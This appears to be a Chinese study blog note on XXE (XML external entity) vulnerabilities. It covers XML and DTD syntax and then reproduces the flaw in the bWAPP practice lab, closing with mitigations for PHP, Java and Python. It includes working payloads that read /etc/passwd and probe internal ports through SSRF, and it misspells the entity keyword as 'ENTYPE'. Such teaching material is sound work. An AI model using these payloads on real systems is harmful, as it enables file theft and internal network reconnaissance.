论笔记总是写到一半就没下文了。。。N 久前的 xxe
XML定义
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
常见 XML 语法结构
1 | <?xml version="1.0" ?> # XML 声明 |
DTD (文档类型定义)可以在 XML 文档内声明,也可以外部引用。
- 内部声明DTD格式:<!DOCTYPE 根元素 [ 元素声明 ]>
- 引用外部DTD格式:<!DOCTYPE 根元素 SYSTEM “ 文件名 “>
在DTD中进行实体声明时,将使用ENTITY关键字来声明。实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体可在内部或外部进行声明。 - 内部声明实体格式:<!ENTYPE 实体名称 “ 实体的值 “>
- 引用外部实体格式:<!ENTYPE 实体名称 SYSTEM “ URI “>
外部实体引用不同环境下支持的协议
PHP 支持的协议
1 | file:// 访问本地文件系统 |
XXE 漏洞危害
读取文件
使用 BWAPP XXE 初级进行漏洞复现
- 打开XXE漏洞界面,点击any bugs 抓包
- 编写并发送读取本地文件的 xml 代码
- 读取系统密码 payload
1
2
3
4
5
6<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<reset><login>&xxe;</login><secret>Any bugs?</secret></reset>
内网探测 SSRF
- 端口探测 payload
1
2
3
4
5
6<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY xxe SYSTEM "http://169.254.9.4:80">
]>
<reset><login>&xxe;</login><secret>Any bugs?</secret></reset>
端口存在则返回连接状态信息
端口不存在则返回如下
XXE 漏洞修复
- 禁止使用外部实体,例如
PHPlibxml_disable_entity_loader(true)
JAVADocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
Pythonfrom lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
- 过滤用户提交的XML数据,防止出现非法内容
参考链接:
http://www.4o4notfound.org/index.php/archives/29/
https://www.hackersb.cn/hacker/211.html
https://www.cnblogs.com/ESHLkangi/p/9246327.html